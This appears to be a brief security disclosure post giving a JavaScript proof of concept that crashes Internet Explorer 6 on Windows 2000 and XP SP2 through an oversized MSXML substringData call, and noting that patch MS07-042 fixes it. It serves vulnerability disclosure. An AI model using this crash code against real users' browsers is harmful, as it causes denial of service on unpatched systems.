This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2 var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.loadXML("<dummy></dummy>"); var txt = xmlDoc.createTextNode("huh"); var out = txt.substringData(1,0x7fffffff); Installing the patch from MS07-042 fixes it. Cheers, Alla Bezroutchko Scanit - http://www.scanit.be/